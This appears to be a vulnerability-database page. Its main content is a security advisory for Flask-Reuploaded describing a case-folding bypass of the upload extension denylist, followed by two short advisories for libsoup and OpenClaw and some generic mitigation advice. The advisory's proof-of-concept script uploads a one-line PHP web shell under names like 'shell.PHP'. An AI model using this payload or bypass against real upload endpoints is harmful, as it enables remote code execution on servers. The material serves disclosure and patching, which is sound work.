| Field | Value |
|---|---|
| Title | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |
| Project | Flask-Reuploaded (flask_uploads) |
| Affected | <= 1.5.0 (latest release; commit ae31c3f91da40b465ca5e8f57d93f063b4553e23) |
| Relationship | Incomplete-fix variant of CVE-2026-27641 (fixed in v1.5.0; this variant survives that fix) |
| CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |
| CVSS v3.1 (proposed) | ~7.0–7.3 (High, conditional) — CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. Final score deferred to maintainer. |
| Verified against | pip install Flask-Reuploaded==1.5.0, Python 3.11 |
2. Decisive evidence — the asymmetry
The v1.5.0 fix for CVE-2026-27641 added an extension re-validation that runs when a caller supplies a name override to UploadSet.save(). It is routed through the case-preserving extension() helper, whereas the default upload path normalizes to lowercase via lowercase_ext() (inside get_basename()). The two paths disagree on case:
default path : get_basename("shell.PHP")
= lowercase_ext(secure_filename("shell.PHP")) = "shell.php"
-> extension("shell.php") = "php"
-> extension_allowed("php") -> DENY (correct)
name-override : secure_filename("shell.PHP") = "shell.PHP" (case preserved)
-> basename = "shell.PHP"
-> ext = extension("shell.PHP") = "PHP" (NOT lowercased)
-> extension_allowed("PHP") -> ALLOW (bypass)
On a denylist UploadSet the allow-check returns True for the mixed-case form:
# extensions.py:97
def __contains__(self, item): return item not in self.items
# "PHP" not in ('js','php','pl','py','rb','sh') -> True -> allowed
extension_allowed("PHP") passes the denylist that extension_allowed("php") is blocked by.
3. Vulnerability summary
UploadSet.save(storage, name=...) lets the caller override the stored filename. After the CVE-2026-27641 fix, name is sanitized with secure_filename() and its extension re-validated. Because the re-validation compares a case-preserving extension against a policy whose denied tokens are lowercase, an attacker controlling name stores a file with a denied extension by varying case (shell.PHP, evil.pHp). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache AddHandler/AddType), this re-enables the dangerous-upload → code-execution outcome the parent CVE addressed. The bypassed config is the one the library's own docs recommend for blocking scripts (see §6).
4. Affected components
Permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23 (v1.5.0).
| Role | Location |
|---|---|
| Normalizing helper (default path) | src/flask_uploads/flask_uploads.py:283 — return lowercase_ext(secure_filename(filename)) |
save() entry |
src/flask_uploads/flask_uploads.py:285 |
| name-override sanitize | src/flask_uploads/flask_uploads.py:333 — name = secure_filename(name) |
| name-override assign (case kept) | src/flask_uploads/flask_uploads.py:341 — basename = name |
| Re-validation (non-normalizing) | src/flask_uploads/flask_uploads.py:344 — ext = extension(basename) |
| Allow-check | src/flask_uploads/flask_uploads.py:345 |
| Policy check | src/flask_uploads/flask_uploads.py:268 — extension_allowed |
| Containment backstop (path only) | src/flask_uploads/flask_uploads.py:364 |
| Sink | src/flask_uploads/flask_uploads.py:374 — storage.save(target) |
| Case-preserving extractor | src/flask_uploads/extensions.py:101 — def extension |
| Case-normalizing extractor | src/flask_uploads/extensions.py:109 — def lowercase_ext |
| Denylist membership | src/flask_uploads/extensions.py:97 — AllExcept.__contains__ |
| Documented script denylist | src/flask_uploads/extensions.py:34-35 |
5. Taint analysis
- Source: the
nameargument ofUploadSet.save(storage, name=...)— commonly user-derived; the parent CVE-2026-27641 already treatsnameas attacker-controllable. - Guard (asymmetric):
secure_filename(name)stops traversal, but the extension policy check at:344-345uses non-normalizingextension()against a lowercase-tokened policy. The realpath containment at:364constrains the path, not the extension — orthogonal to this bypass. - Sink:
storage.save(target)at:374writes the attacker-extensioned file into the served upload directory.
6. CVSS justification (preconditions stated honestly)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H ≈ 7.0–7.3 (High).
- AV:N — web upload endpoint.
- AC:H — three preconditions (stated plainly):
UploadSetuses a denylist —AllExcept(...)or populatedconfig.deny. (Allowlists fail closed — §7c.)- Application passes a user-influenced
nametosave(). - Deployment resolves/executes extensions case-insensitively (Windows/macOS FS; Apache
AddHandler/AddType). - PR:L — uploads typically authenticated. UI:N. S:U. C:H/I:H/A:H — RCE under the web server's privileges on execution-capable upload dirs.
Why High, not a contrived misconfiguration — the bypassed control is the library's documented script-blocking mechanism:
extensions.py:34-35—SCRIPTS: "…you might want to addphpto the DENY setting."extensions.py:24-26—EXECUTABLES: "…it's better suited for use withAllExcept."
An app that followed this guidance to block scripts is exactly what this variant defeats.
Not claimed: not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.
7. Proof of Concept (results)
Against shipped Flask-Reuploaded==1.5.0:
7a. Asymmetry
default path : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
name-override : secure_filename("shell.PHP") -> "shell.PHP" -> extension(...) -> "PHP" -> extension_allowed("PHP") -> ALLOW
7b. End-to-end (denylist AllExcept(SCRIPTS))
[1] save(storage("shell.PHP")) -> UploadNotAllowed (default path blocked)
[2] save(storage("upload.bin"), name="shell.PHP") -> saved "shell.PHP", on_disk=True (BYPASS)
[2b] save(storage("upload.bin"), name="evil.pHp") -> saved "evil.pHp", on_disk=True; containment intact
7c. Negative controls
[3] allowlist IMAGES, name="shell.PHP" -> UploadNotAllowed: File extension 'PHP' is not allowed (fail-closed)
[4] allowlist IMAGES, name="photo.jpg" -> saved "photo.jpg" (legit unaffected)
8. Patch pattern (internal precedent)
The project ships a case-normalizing extractor (lowercase_ext, used by get_basename) specifically so configured extensions are "compare[d] … in the same case" (its docstring). The v1.5.0 re-validation instead calls the case-preserving extension(), so the new guard does not match the normalization the rest of the system relies on — the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.
9. Impact
- Bypass of the documented extension denylist for scripts/executables.
- Storage of
.PHP/.pHp/ mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated). - On case-insensitive execution surfaces → remote code execution under the web server's privileges — the parent CVE's end impact, re-enabled on denylist deployments.
10. Suggested remediation
Normalize before the policy check so the name-override path matches the default path:
ext = extension(basename).lower()(orextension(lowercase_ext(basename))) beforeextension_allowed.- Or run the overridden
basenamethroughlowercase_ext()(asget_basenamedoes) before both validation and save. - Or make
extension_allowed/ the policy containers case-insensitive.
Option (1) or (2) is the minimal, behavior-preserving fix.
11. Evidence files
poc_case_fold.py(§12) — self-contained PoC; runs againstpip install Flask-Reuploaded==1.5.0./tmp/flask_reuploaded_case_fold_proof.txt— captured verdict.- Source permalinks pinned to commit
ae31c3f91da40b465ca5e8f57d93f063b4553e23.
12. Full PoC script (poc_case_fold.py)
"""
PoC — Flask-Reuploaded CVE-2026-27641 incomplete-fix variant
Case-folding asymmetry in the name-override extension re-validation.
Parent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a
`name` override is supplied, but routed it through the CASE-PRESERVING
`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the
default upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet
(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the
denylist that the default path correctly blocks.
default path : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
name-override : secure_filename("shell.PHP") -> "shell.PHP" (case kept)
-> extension("shell.PHP") -> "PHP" -> extension_allowed("PHP") -> ALLOW
Tested against the SHIPPED, patched Flask-Reuploaded==1.5.0.
"""
import io
import os
import shutil
import tempfile
from flask import Flask
from flask_uploads import (
UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,
)
from werkzeug.datastructures import FileStorage
import flask_uploads
def make_storage(filename: str) -> FileStorage:
return FileStorage(
stream=io.BytesIO(b"<?php system($_GET['c']); ?>"),
filename=filename,
content_type="application/octet-stream",
)
def run():
import importlib.metadata as md
print(f"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}")
dest_denylist = tempfile.mkdtemp(prefix="fr_deny_")
dest_allowlist = tempfile.mkdtemp(prefix="fr_allow_")
app = Flask(__name__)
files_deny = UploadSet("filesdeny", AllExcept(SCRIPTS)) # documented "allow all except scripts"
files_allow = UploadSet("filesallow", IMAGES) # allowlist (fail-closed)
app.config["UPLOADED_FILESDENY_DEST"] = dest_denylist
app.config["UPLOADED_FILESALLOW_DEST"] = dest_allowlist
configure_uploads(app, (files_deny, files_allow))
results = {}
with app.app_context():
# [1] default path, denylist -> must DENY
try:
saved = files_deny.save(make_storage("shell.PHP"))
results["default_path"] = f"SAVED as {saved} <-- UNEXPECTED"
except UploadNotAllowed:
results["default_path"] = "DENIED (expected)"
# [2] name-override, denylist -> BYPASS
try:
saved = files_deny.save(make_storage("upload.bin"), name="shell.PHP")
on_disk = os.path.join(dest_denylist, saved)
results["variant"] = f"BYPASS — saved as {saved}, on_disk={os.path.exists(on_disk)}"
except UploadNotAllowed:
results["variant"] = "DENIED (variant did NOT reproduce)"
# [2b] mixed-case generality + containment intact
try:
saved = files_deny.save(make_storage("upload.bin"), name="evil.pHp")
on_disk = os.path.join(dest_denylist, saved)
inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))
results["variant_mixed"] = f"BYPASS — saved as {saved}, inside_dest={inside}"
except UploadNotAllowed:
results["variant_mixed"] = "DENIED"
# [3] allowlist -> fail closed
try:
saved = files_allow.save(make_storage("real.jpg"), name="shell.PHP")
results["allowlist"] = f"SAVED as {saved} <-- allowlist leaked"
except UploadNotAllowed:
results["allowlist"] = "DENIED (expected — allowlist fails closed)"
# [4] legit upload -> allowed
try:
saved = files_allow.save(make_storage("real.jpg"), name="photo.jpg")
results["legit"] = f"SAVED as {saved} (expected)"
except UploadNotAllowed:
results["legit"] = "DENIED (UNEXPECTED — legit upload broke)"
print("VERDICT:")
for k, v in results.items():
print(f" {k:14s}: {v}")
confirmed = (
"BYPASS" in results.get("variant", "")
and results.get("default_path") == "DENIED (expected)"
and "DENIED" in results.get("allowlist", "")
)
print("FLASK_REUPLOADED_CASE_FOLD_CONFIRMED" if confirmed else "VARIANT NOT CONFIRMED — honest cut")
shutil.rmtree(dest_denylist, ignore_errors=True)
shutil.rmtree(dest_allowlist, ignore_errors=True)
if __name__ == "__main__":
run()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.0"
},
"package": {
"ecosystem": "PyPI",
"name": "Flask-Reuploaded"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54567"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-17T20:11:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## 1. Header\n\n| Field | Value |\n|---|---|\n| **Title** | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |\n| **Project** | Flask-Reuploaded (`flask_uploads`) |\n| **Affected** | `\u003c= 1.5.0` (latest release; commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`) |\n| **Relationship** | Incomplete-fix variant of **CVE-2026-27641** (fixed in v1.5.0; this variant survives that fix) |\n| **CWE** | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |\n| **CVSS v3.1 (proposed)** | **~7.0\u20137.3 (High, conditional)** \u2014 `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`. Final score deferred to maintainer. |\n| **Verified against** | `pip install Flask-Reuploaded==1.5.0`, Python 3.11 |\n\n---\n\n## 2. Decisive evidence \u2014 the asymmetry\n\nThe v1.5.0 fix for CVE-2026-27641 added an extension **re-validation** that runs when a caller supplies a `name` override to `UploadSet.save()`. It is routed through the **case-preserving** `extension()` helper, whereas the default upload path normalizes to lowercase via `lowercase_ext()` (inside `get_basename()`). The two paths disagree on case:\n\n```\ndefault path : get_basename(\"shell.PHP\")\n = lowercase_ext(secure_filename(\"shell.PHP\")) = \"shell.php\"\n -\u003e extension(\"shell.php\") = \"php\"\n -\u003e extension_allowed(\"php\") -\u003e DENY (correct)\n\nname-override : secure_filename(\"shell.PHP\") = \"shell.PHP\" (case preserved)\n -\u003e basename = \"shell.PHP\"\n -\u003e ext = extension(\"shell.PHP\") = \"PHP\" (NOT lowercased)\n -\u003e extension_allowed(\"PHP\") -\u003e ALLOW (bypass)\n```\n\nOn a denylist `UploadSet` the allow-check returns `True` for the mixed-case form:\n\n```python\n# extensions.py:97\ndef __contains__(self, item): return item not in self.items\n# \"PHP\" not in (\u0027js\u0027,\u0027php\u0027,\u0027pl\u0027,\u0027py\u0027,\u0027rb\u0027,\u0027sh\u0027) -\u003e True -\u003e allowed\n```\n\n`extension_allowed(\"PHP\")` passes the denylist that `extension_allowed(\"php\")` is blocked by.\n\n---\n\n## 3. Vulnerability summary\n\n`UploadSet.save(storage, name=...)` lets the caller override the stored filename. After the CVE-2026-27641 fix, `name` is sanitized with `secure_filename()` and its extension re-validated. Because the re-validation compares a **case-preserving** extension against a policy whose denied tokens are lowercase, an attacker controlling `name` stores a file with a denied extension by varying case (`shell.PHP`, `evil.pHp`). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache `AddHandler`/`AddType`), this re-enables the dangerous-upload \u2192 code-execution outcome the parent CVE addressed. The bypassed config is the one the library\u0027s own docs recommend for blocking scripts (see \u00a76).\n\n---\n\n## 4. Affected components\n\nPermalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23` (v1.5.0).\n\n| Role | Location |\n|---|---|\n| Normalizing helper (default path) | `src/flask_uploads/flask_uploads.py:283` \u2014 `return lowercase_ext(secure_filename(filename))` |\n| `save()` entry | `src/flask_uploads/flask_uploads.py:285` |\n| name-override sanitize | `src/flask_uploads/flask_uploads.py:333` \u2014 `name = secure_filename(name)` |\n| name-override assign (case kept) | `src/flask_uploads/flask_uploads.py:341` \u2014 `basename = name` |\n| **Re-validation (non-normalizing)** | `src/flask_uploads/flask_uploads.py:344` \u2014 `ext = extension(basename)` |\n| Allow-check | `src/flask_uploads/flask_uploads.py:345` |\n| Policy check | `src/flask_uploads/flask_uploads.py:268` \u2014 `extension_allowed` |\n| Containment backstop (path only) | `src/flask_uploads/flask_uploads.py:364` |\n| Sink | `src/flask_uploads/flask_uploads.py:374` \u2014 `storage.save(target)` |\n| Case-preserving extractor | `src/flask_uploads/extensions.py:101` \u2014 `def extension` |\n| Case-normalizing extractor | `src/flask_uploads/extensions.py:109` \u2014 `def lowercase_ext` |\n| Denylist membership | `src/flask_uploads/extensions.py:97` \u2014 `AllExcept.__contains__` |\n| Documented script denylist | `src/flask_uploads/extensions.py:34-35` |\n\n---\n\n## 5. Taint analysis\n\n- **Source:** the `name` argument of `UploadSet.save(storage, name=...)` \u2014 commonly user-derived; the parent CVE-2026-27641 already treats `name` as attacker-controllable.\n- **Guard (asymmetric):** `secure_filename(name)` stops traversal, but the extension policy check at `:344-345` uses non-normalizing `extension()` against a lowercase-tokened policy. The realpath containment at `:364` constrains the *path*, not the *extension* \u2014 orthogonal to this bypass.\n- **Sink:** `storage.save(target)` at `:374` writes the attacker-extensioned file into the served upload directory.\n\n---\n\n## 6. CVSS justification (preconditions stated honestly)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` \u2248 **7.0\u20137.3 (High)**.\n\n- **AV:N** \u2014 web upload endpoint.\n- **AC:H** \u2014 three preconditions (stated plainly):\n 1. `UploadSet` uses a **denylist** \u2014 `AllExcept(...)` or populated `config.deny`. (Allowlists fail closed \u2014 \u00a77c.)\n 2. Application passes a **user-influenced `name`** to `save()`.\n 3. Deployment resolves/executes extensions **case-insensitively** (Windows/macOS FS; Apache `AddHandler`/`AddType`).\n- **PR:L** \u2014 uploads typically authenticated. **UI:N**. **S:U**. **C:H/I:H/A:H** \u2014 RCE under the web server\u0027s privileges on execution-capable upload dirs.\n\n**Why High, not a contrived misconfiguration** \u2014 the bypassed control is the library\u0027s documented script-blocking mechanism:\n\n- `extensions.py:34-35` \u2014 `SCRIPTS`: *\"\u2026you might want to add ``php`` to the DENY setting.\"*\n- `extensions.py:24-26` \u2014 `EXECUTABLES`: *\"\u2026it\u0027s better suited for use with `AllExcept`.\"*\n\nAn app that followed this guidance to block scripts is exactly what this variant defeats.\n\n**Not claimed:** not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.\n\n---\n\n## 7. Proof of Concept (results)\n\nAgainst shipped `Flask-Reuploaded==1.5.0`:\n\n### 7a. Asymmetry\n```\ndefault path : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\nname-override : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" -\u003e extension(...) -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n```\n\n### 7b. End-to-end (denylist `AllExcept(SCRIPTS)`)\n```\n[1] save(storage(\"shell.PHP\")) -\u003e UploadNotAllowed (default path blocked)\n[2] save(storage(\"upload.bin\"), name=\"shell.PHP\") -\u003e saved \"shell.PHP\", on_disk=True (BYPASS)\n[2b] save(storage(\"upload.bin\"), name=\"evil.pHp\") -\u003e saved \"evil.pHp\", on_disk=True; containment intact\n```\n\n### 7c. Negative controls\n```\n[3] allowlist IMAGES, name=\"shell.PHP\" -\u003e UploadNotAllowed: File extension \u0027PHP\u0027 is not allowed (fail-closed)\n[4] allowlist IMAGES, name=\"photo.jpg\" -\u003e saved \"photo.jpg\" (legit unaffected)\n```\n\n---\n\n## 8. Patch pattern (internal precedent)\n\nThe project ships a **case-normalizing** extractor (`lowercase_ext`, used by `get_basename`) specifically so configured extensions are *\"compare[d] \u2026 in the same case\"* (its docstring). The v1.5.0 re-validation instead calls the **case-preserving** `extension()`, so the new guard does not match the normalization the rest of the system relies on \u2014 the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.\n\n---\n\n## 9. Impact\n\n- Bypass of the documented extension denylist for scripts/executables.\n- Storage of `.PHP` / `.pHp` / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).\n- On case-insensitive execution surfaces \u2192 **remote code execution** under the web server\u0027s privileges \u2014 the parent CVE\u0027s end impact, re-enabled on denylist deployments.\n\n---\n\n## 10. Suggested remediation\n\nNormalize before the policy check so the name-override path matches the default path:\n\n1. `ext = extension(basename).lower()` (or `extension(lowercase_ext(basename))`) before `extension_allowed`.\n2. Or run the overridden `basename` through `lowercase_ext()` (as `get_basename` does) before both validation and save.\n3. Or make `extension_allowed` / the policy containers case-insensitive.\n\nOption (1) or (2) is the minimal, behavior-preserving fix.\n\n---\n\n## 11. Evidence files\n\n- `poc_case_fold.py` (\u00a712) \u2014 self-contained PoC; runs against `pip install Flask-Reuploaded==1.5.0`.\n- `/tmp/flask_reuploaded_case_fold_proof.txt` \u2014 captured verdict.\n- Source permalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`.\n\n---\n\n## 12. Full PoC script (`poc_case_fold.py`)\n\n```python\n\"\"\"\nPoC \u2014 Flask-Reuploaded CVE-2026-27641 incomplete-fix variant\nCase-folding asymmetry in the name-override extension re-validation.\n\nParent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a\n`name` override is supplied, but routed it through the CASE-PRESERVING\n`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the\ndefault upload path (get_basename -\u003e lowercase_ext). On a denylist-style UploadSet\n(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the\ndenylist that the default path correctly blocks.\n\n default path : lowercase_ext(\"shell.PHP\") -\u003e \"php\" -\u003e extension_allowed(\"php\") -\u003e DENY\n name-override : secure_filename(\"shell.PHP\") -\u003e \"shell.PHP\" (case kept)\n -\u003e extension(\"shell.PHP\") -\u003e \"PHP\" -\u003e extension_allowed(\"PHP\") -\u003e ALLOW\n\nTested against the SHIPPED, patched Flask-Reuploaded==1.5.0.\n\"\"\"\nimport io\nimport os\nimport shutil\nimport tempfile\n\nfrom flask import Flask\nfrom flask_uploads import (\n UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,\n)\nfrom werkzeug.datastructures import FileStorage\nimport flask_uploads\n\n\ndef make_storage(filename: str) -\u003e FileStorage:\n return FileStorage(\n stream=io.BytesIO(b\"\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\"),\n filename=filename,\n content_type=\"application/octet-stream\",\n )\n\n\ndef run():\n import importlib.metadata as md\n print(f\"[*] pip reports: Flask-Reuploaded=={md.version(\u0027Flask-Reuploaded\u0027)}\")\n\n dest_denylist = tempfile.mkdtemp(prefix=\"fr_deny_\")\n dest_allowlist = tempfile.mkdtemp(prefix=\"fr_allow_\")\n\n app = Flask(__name__)\n files_deny = UploadSet(\"filesdeny\", AllExcept(SCRIPTS)) # documented \"allow all except scripts\"\n files_allow = UploadSet(\"filesallow\", IMAGES) # allowlist (fail-closed)\n app.config[\"UPLOADED_FILESDENY_DEST\"] = dest_denylist\n app.config[\"UPLOADED_FILESALLOW_DEST\"] = dest_allowlist\n configure_uploads(app, (files_deny, files_allow))\n\n results = {}\n with app.app_context():\n # [1] default path, denylist -\u003e must DENY\n try:\n saved = files_deny.save(make_storage(\"shell.PHP\"))\n results[\"default_path\"] = f\"SAVED as {saved} \u003c-- UNEXPECTED\"\n except UploadNotAllowed:\n results[\"default_path\"] = \"DENIED (expected)\"\n\n # [2] name-override, denylist -\u003e BYPASS\n try:\n saved = files_deny.save(make_storage(\"upload.bin\"), name=\"shell.PHP\")\n on_disk = os.path.join(dest_denylist, saved)\n results[\"variant\"] = f\"BYPASS \u2014 saved as {saved}, on_disk={os.path.exists(on_disk)}\"\n except UploadNotAllowed:\n results[\"variant\"] = \"DENIED (variant did NOT reproduce)\"\n\n # [2b] mixed-case generality + containment intact\n try:\n saved = files_deny.save(make_storage(\"upload.bin\"), name=\"evil.pHp\")\n on_disk = os.path.join(dest_denylist, saved)\n inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))\n results[\"variant_mixed\"] = f\"BYPASS \u2014 saved as {saved}, inside_dest={inside}\"\n except UploadNotAllowed:\n results[\"variant_mixed\"] = \"DENIED\"\n\n # [3] allowlist -\u003e fail closed\n try:\n saved = files_allow.save(make_storage(\"real.jpg\"), name=\"shell.PHP\")\n results[\"allowlist\"] = f\"SAVED as {saved} \u003c-- allowlist leaked\"\n except UploadNotAllowed:\n results[\"allowlist\"] = \"DENIED (expected \u2014 allowlist fails closed)\"\n\n # [4] legit upload -\u003e allowed\n try:\n saved = files_allow.save(make_storage(\"real.jpg\"), name=\"photo.jpg\")\n results[\"legit\"] = f\"SAVED as {saved} (expected)\"\n except UploadNotAllowed:\n results[\"legit\"] = \"DENIED (UNEXPECTED \u2014 legit upload broke)\"\n\n print(\"VERDICT:\")\n for k, v in results.items():\n print(f\" {k:14s}: {v}\")\n\n confirmed = (\n \"BYPASS\" in results.get(\"variant\", \"\")\n and results.get(\"default_path\") == \"DENIED (expected)\"\n and \"DENIED\" in results.get(\"allowlist\", \"\")\n )\n print(\"FLASK_REUPLOADED_CASE_FOLD_CONFIRMED\" if confirmed else \"VARIANT NOT CONFIRMED \u2014 honest cut\")\n\n shutil.rmtree(dest_denylist, ignore_errors=True)\n shutil.rmtree(dest_allowlist, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n run()\n```",
"id": "GHSA-937x-gpqr-72gg",
"modified": "2026-07-17T20:11:35Z",
"published": "2026-07-17T20:11:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg"
},
{
"type": "WEB",
"url": "https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4"
},
{
"type": "PACKAGE",
"url": "https://github.com/jugmac00/flask-reuploaded"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)"
}
GHSA-9685-44WP-34GM
Vulnerability from github – Published: 2025-04-29 15:31 – Updated: 2026-06-30 15:30A flaw was found in libsoup. When handling cookies, libsoup clients mistakenly allow cookies to be set for public suffix domains if the domain contains at least two components and includes an uppercase character. This bypasses public suffix protections and could allow a malicious website to set cookies for domains it does not own, potentially leading to integrity issues such as session fixation.
{
"affected": [],
"aliases": [
"CVE-2025-4035"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-29T13:15:45Z",
"severity": "MODERATE"
},
"details": "A flaw was found in libsoup. When handling cookies, libsoup clients mistakenly allow cookies to be set for public suffix domains if the domain contains at least two components and includes an uppercase character. This bypasses public suffix protections and could allow a malicious website to set cookies for domains it does not own, potentially leading to integrity issues such as session fixation.",
"id": "GHSA-9685-44wp-34gm",
"modified": "2026-06-30T15:30:30Z",
"published": "2025-04-29T15:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4035"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:8128"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-4035"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2362651"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/443"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/work_items/443"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-98CH-45WP-CH47
Vulnerability from github – Published: 2026-04-07 18:15 – Updated: 2026-04-07 18:15Summary
Before OpenClaw 2026.4.2, system-run approval binding normalized environment override keys differently from host execution. Windows-compatible keys could be omitted from the approval binding while still being injected at execution time.
Impact
An approved command could run with attacker-chosen environment overrides that were not represented in the approval binding. This created an approval-integrity gap for affected host-exec flows.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.4.1 - Patched versions:
>= 2026.4.2 - Latest published npm version:
2026.4.1
Fix Commit(s)
7eb094a00d80e9f6bf0e62f2c45d3b88ff67c04d— align approval binding with execution-time env-key normalization
Release Process Note
The fix is present on main and is staged for OpenClaw 2026.4.2. Publish this advisory after the 2026.4.2 npm release is live.
Thanks @iskindar for reporting, and thanks @wsparks-vc for coordination.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.4.1"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T18:15:48Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nBefore OpenClaw 2026.4.2, system-run approval binding normalized environment override keys differently from host execution. Windows-compatible keys could be omitted from the approval binding while still being injected at execution time.\n\n## Impact\n\nAn approved command could run with attacker-chosen environment overrides that were not represented in the approval binding. This created an approval-integrity gap for affected host-exec flows.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.1`\n- Patched versions: `\u003e= 2026.4.2`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `7eb094a00d80e9f6bf0e62f2c45d3b88ff67c04d` \u2014 align approval binding with execution-time env-key normalization\n\n## Release Process Note\n\nThe fix is present on `main` and is staged for OpenClaw `2026.4.2`. Publish this advisory after the `2026.4.2` npm release is live.\n\nThanks @iskindar for reporting, and thanks @wsparks-vc for coordination.",
"id": "GHSA-98ch-45wp-ch47",
"modified": "2026-04-07T18:15:48Z",
"published": "2026-04-07T18:15:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-98ch-45wp-ch47"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/7eb094a00d80e9f6bf0e62f2c45d3b88ff67c04d"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Windows-compatible env override keys could bypass system.run approval binding"
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
